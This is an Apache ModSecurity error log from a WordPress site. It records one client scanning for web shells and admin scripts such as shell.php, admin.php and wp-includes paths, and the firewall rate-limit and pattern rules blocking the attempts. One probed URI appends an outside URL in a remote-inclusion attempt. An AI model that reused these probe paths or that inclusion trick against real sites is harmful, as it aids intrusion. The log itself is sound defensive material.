[Thu Feb 26 22:16:07.581121 2026] [:error] [pid 44444:tid 44450] [client 20.151.107.14:64253] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aaBVp22sMNmj-yekUk1GJwAAAgA"]
[Thu Feb 26 22:16:08.306496 2026] [:error] [pid 44444:tid 44473] [client 20.151.107.14:64179] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aaBVqG2sMNmj-yekUk1GKwAAAhc"]
[Thu Feb 26 22:16:08.837359 2026] [:error] [pid 44444:tid 44457] [client 20.151.107.14:64172] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aaBVqG2sMNmj-yekUk1GLgAAAgc"]
[Thu Feb 26 22:16:09.304419 2026] [:error] [pid 44444:tid 44471] [client 20.151.107.14:64150] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aaBVqW2sMNmj-yekUk1GMwAAAhU"]
[Thu Feb 26 22:16:09.911999 2026] [:error] [pid 3883:tid 3895] [client 20.151.107.14:63591] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/admiin.php"] [unique_id "aaBVqeA33x90V6yYHaj0LwAAAUk"]
[Thu Feb 26 22:16:10.445928 2026] [:error] [pid 20419:tid 20425] [client 20.151.107.14:63604] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.phphttps://www-vn500.com/inputs.php"] [unique_id "aaBVqu3DVDvMfTYYUBVl8QAAAcM"]
[Thu Feb 26 22:16:11.008760 2026] [:error] [pid 3883:tid 3900] [client 20.151.107.14:64252] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.phphttps://www-vn500.com/inputs.php"] [unique_id "aaBVq-A33x90V6yYHaj0MgAAAU4"]
[Thu Feb 26 22:16:11.721758 2026] [:error] [pid 25311:tid 25318] [client 20.151.107.14:64186] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.phphttps://www-vn500.com/inputs.php"] [unique_id "aaBVq9fdM__yZAgJFSvqEQAAAYQ"]
[Thu Feb 26 22:16:12.652949 2026] [:error] [pid 44444:tid 44457] [client 20.151.107.14:64137] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaBVrG2sMNmj-yekUk1GOgAAAgc"]
[Thu Feb 26 22:16:13.577244 2026] [:error] [pid 25311:tid 25336] [client 20.151.107.14:62960] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaBVrdfdM__yZAgJFSvqEwAAAZY"]
[Thu Feb 26 22:16:14.276901 2026] [:error] [pid 55051:tid 55064] [client 20.151.107.14:62965] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaBVrgmK1w2kZvh5eLHJ6wAAAIo"]
[Thu Feb 26 22:16:14.716383 2026] [:error] [pid 44444:tid 44474] [client 20.151.107.14:64215] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaBVrm2sMNmj-yekUk1GRgAAAhg"]
[Thu Feb 26 22:16:15.368245 2026] [:error] [pid 44444:tid 44457] [client 20.151.107.14:63536] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/codemirror/"] [unique_id "aaBVr22sMNmj-yekUk1GTQAAAgc"]
[Thu Feb 26 22:16:15.848604 2026] [:error] [pid 44444:tid 44453] [client 20.151.107.14:64156] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/codemirror/"] [unique_id "aaBVr22sMNmj-yekUk1GUgAAAgM"]
[Thu Feb 26 22:16:16.391563 2026] [:error] [pid 44444:tid 44454] [client 20.151.107.14:64139] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/codemirror/"] [unique_id "aaBVsG2sMNmj-yekUk1GWgAAAgQ"]
[Thu Feb 26 22:16:16.982444 2026] [:error] [pid 44444:tid 44461] [client 20.151.107.14:64255] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/codemirror/"] [unique_id "aaBVsG2sMNmj-yekUk1GYQAAAgs"]
[Thu Feb 26 22:16:17.501693 2026] [:error] [pid 20419:tid 20430] [client 20.151.107.14:64197] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aaBVse3DVDvMfTYYUBVl9gAAAcg"]
[Thu Feb 26 22:16:18.077117 2026] [:error] [pid 55122:tid 55137] [client 20.151.107.14:62873] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aaBVsoLiR0OfjFxvcN81OwAAAM0"]
[Thu Feb 26 22:16:18.907366 2026] [:error] [pid 44444:tid 44450] [client 20.151.107.14:64183] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aaBVsm2sMNmj-yekUk1GcAAAAgA"]
[Thu Feb 26 22:16:19.645757 2026] [:error] [pid 44444:tid 44459] [client 20.151.107.14:64230] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aaBVs22sMNmj-yekUk1GcgAAAgk"]
[Thu Feb 26 22:16:20.093700 2026] [:error] [pid 44444:tid 44457] [client 20.151.107.14:63554] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aaBVtG2sMNmj-yekUk1GdgAAAgc"]
[Thu Feb 26 22:16:20.864512 2026] [:error] [pid 55051:tid 55059] [client 20.151.107.14:63546] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aaBVtAmK1w2kZvh5eLHJ8gAAAIU"]
[Thu Feb 26 22:16:21.636847 2026] [:error] [pid 54991:tid 55030] [client 20.151.107.14:64144] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aaBVtd4Zx-mJ8gbRB2j6mAAAAEo"]
[Thu Feb 26 22:16:22.433081 2026] [:error] [pid 54991:tid 55043] [client 20.151.107.14:64229] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aaBVtt4Zx-mJ8gbRB2j6mwAAAFc"]
[Thu Feb 26 22:16:24.161321 2026] [:error] [pid 55051:tid 55063] [client 20.151.107.14:64180] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "aaBVuAmK1w2kZvh5eLHJ-wAAAIk"]
[Thu Feb 26 22:16:24.815504 2026] [:error] [pid 25311:tid 25337] [client 20.151.107.14:63582] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "aaBVuNfdM__yZAgJFSvqGQAAAZc"]
[Thu Feb 26 22:16:25.346553 2026] [:error] [pid 44444:tid 44453] [client 20.151.107.14:64148] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "aaBVuW2sMNmj-yekUk1GiAAAAgM"]
[Thu Feb 26 22:16:25.945714 2026] [:error] [pid 3883:tid 3906] [client 20.151.107.14:63558] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "aaBVueA33x90V6yYHaj0OAAAAVQ"]
[Thu Feb 26 22:16:26.410462 2026] [:error] [pid 25311:tid 25316] [client 20.151.107.14:63557] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/themes.php"] [unique_id "aaBVutfdM__yZAgJFSvqHAAAAYI"]
[Thu Feb 26 22:16:26.856999 2026] [:error] [pid 44444:tid 44472] [client 20.151.107.14:64157] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/themes.php"] [unique_id "aaBVum2sMNmj-yekUk1GiwAAAhY"]
[Thu Feb 26 22:16:27.343168 2026] [:error] [pid 25311:tid 25328] [client 20.151.107.14:64185] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/themes.php"] [unique_id "aaBVu9fdM__yZAgJFSvqHgAAAY4"]
[Thu Feb 26 22:16:27.781900 2026] [:error] [pid 20419:tid 20439] [client 20.151.107.14:62867] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/themes.php"] [unique_id "aaBVu-3DVDvMfTYYUBVmAwAAAdE"]
[Thu Feb 26 22:16:28.299153 2026] [:error] [pid 55122:tid 55127] [client 20.151.107.14:63497] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2023/08/"] [unique_id "aaBVvILiR0OfjFxvcN81QAAAAMM"]
[Thu Feb 26 22:16:28.785948 2026] [:error] [pid 55051:tid 55054] [client 20.151.107.14:64166] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2023/08/"] [unique_id "aaBVvAmK1w2kZvh5eLHKBgAAAIA"]
[Thu Feb 26 22:16:29.464255 2026] [:error] [pid 55618:tid 55635] [client 20.151.107.14:64238] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2023/08/"] [unique_id "aaBVvR61Vrh12f_8oWQS1wAAAQ4"]
[Thu Feb 26 22:16:30.073276 2026] [:error] [pid 25311:tid 25333] [client 20.151.107.14:63561] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2023/08/"] [unique_id "aaBVvtfdM__yZAgJFSvqIgAAAZM"]
[Thu Feb 26 22:16:30.581207 2026] [:error] [pid 54990:tid 55009] [client 20.151.107.14:64181] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/index.php"] [unique_id "aaBVvntr2qmt_mBhH2wuVwAAABA"]
[Thu Feb 26 22:16:31.029975 2026] [:error] [pid 54990:tid 54996] [client 20.151.107.14:63600] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/index.php"] [unique_id "aaBVv3tr2qmt_mBhH2wuWAAAAAM"]
[Thu Feb 26 22:16:31.485882 2026] [:error] [pid 54991:tid 55043] [client 20.151.107.14:64189] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/index.php"] [unique_id "aaBVv94Zx-mJ8gbRB2j6rgAAAFc"]
[Thu Feb 26 22:16:31.987779 2026] [:error] [pid 3883:tid 3892] [client 20.151.107.14:63584] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/index.php"] [unique_id "aaBVv-A33x90V6yYHaj0PQAAAUY"]
[Thu Feb 26 22:16:32.443494 2026] [:error] [pid 3883:tid 3904] [client 20.151.107.14:63598] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "aaBVwOA33x90V6yYHaj0QgAAAVI"]
[Thu Feb 26 22:16:33.174261 2026] [:error] [pid 54991:tid 55039] [client 20.151.107.14:63508] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "aaBVwd4Zx-mJ8gbRB2j6sAAAAFM"]
[Thu Feb 26 22:16:34.009525 2026] [:error] [pid 55051:tid 55070] [client 20.151.107.14:63553] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "aaBVwgmK1w2kZvh5eLHKEQAAAJA"]
[Thu Feb 26 22:16:34.495428 2026] [:error] [pid 55618:tid 55639] [client 20.151.107.14:64171] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "aaBVwh61Vrh12f_8oWQS3gAAARI"]
[Thu Feb 26 22:16:34.960107 2026] [:error] [pid 44444:tid 44454] [client 20.151.107.14:63528] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/providers/"] [unique_id "aaBVwm2sMNmj-yekUk1GlQAAAgQ"]
[Thu Feb 26 22:16:35.948106 2026] [:error] [pid 25311:tid 25335] [client 20.151.107.14:64133] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/providers/"] [unique_id "aaBVw9fdM__yZAgJFSvqKAAAAZU"]
[Thu Feb 26 22:16:36.521629 2026] [:error] [pid 55122:tid 55147] [client 20.151.107.14:63566] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/providers/"] [unique_id "aaBVxILiR0OfjFxvcN81SQAAANc"]
[Thu Feb 26 22:16:37.004583 2026] [:error] [pid 55122:tid 55143] [client 20.151.107.14:64209] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/providers/"] [unique_id "aaBVxYLiR0OfjFxvcN81SwAAANM"]
[Thu Feb 26 22:16:37.675252 2026] [:error] [pid 55051:tid 55068] [client 20.151.107.14:64190] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/index.php"] [unique_id "aaBVxQmK1w2kZvh5eLHKGAAAAI4"]
[Thu Feb 26 22:16:38.117559 2026] [:error] [pid 20419:tid 20430] [client 20.151.107.14:62866] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aaBVxu3DVDvMfTYYUBVmCQAAAcg"]
[Thu Feb 26 22:16:38.551646 2026] [:error] [pid 55051:tid 55063] [client 20.151.107.14:64155] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aaBVxgmK1w2kZvh5eLHKIAAAAIk"]
[Thu Feb 26 22:16:42.471303 2026] [autoindex:error] [pid 55051:tid 55073] [client 20.151.107.14:64247] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 22:16:44.462994 2026] [autoindex:error] [pid 55051:tid 55059] [client 20.151.107.14:64247] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 22:16:45.934758 2026] [autoindex:error] [pid 55051:tid 55072] [client 20.151.107.14:64247] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 22:16:50.783376 2026] [autoindex:error] [pid 55051:tid 55058] [client 20.151.107.14:64247] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 22:16:51.239447 2026] [:error] [pid 55051:tid 55059] [client 20.151.107.14:64247] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aaBV0wmK1w2kZvh5eLHKXgAAAIU"]
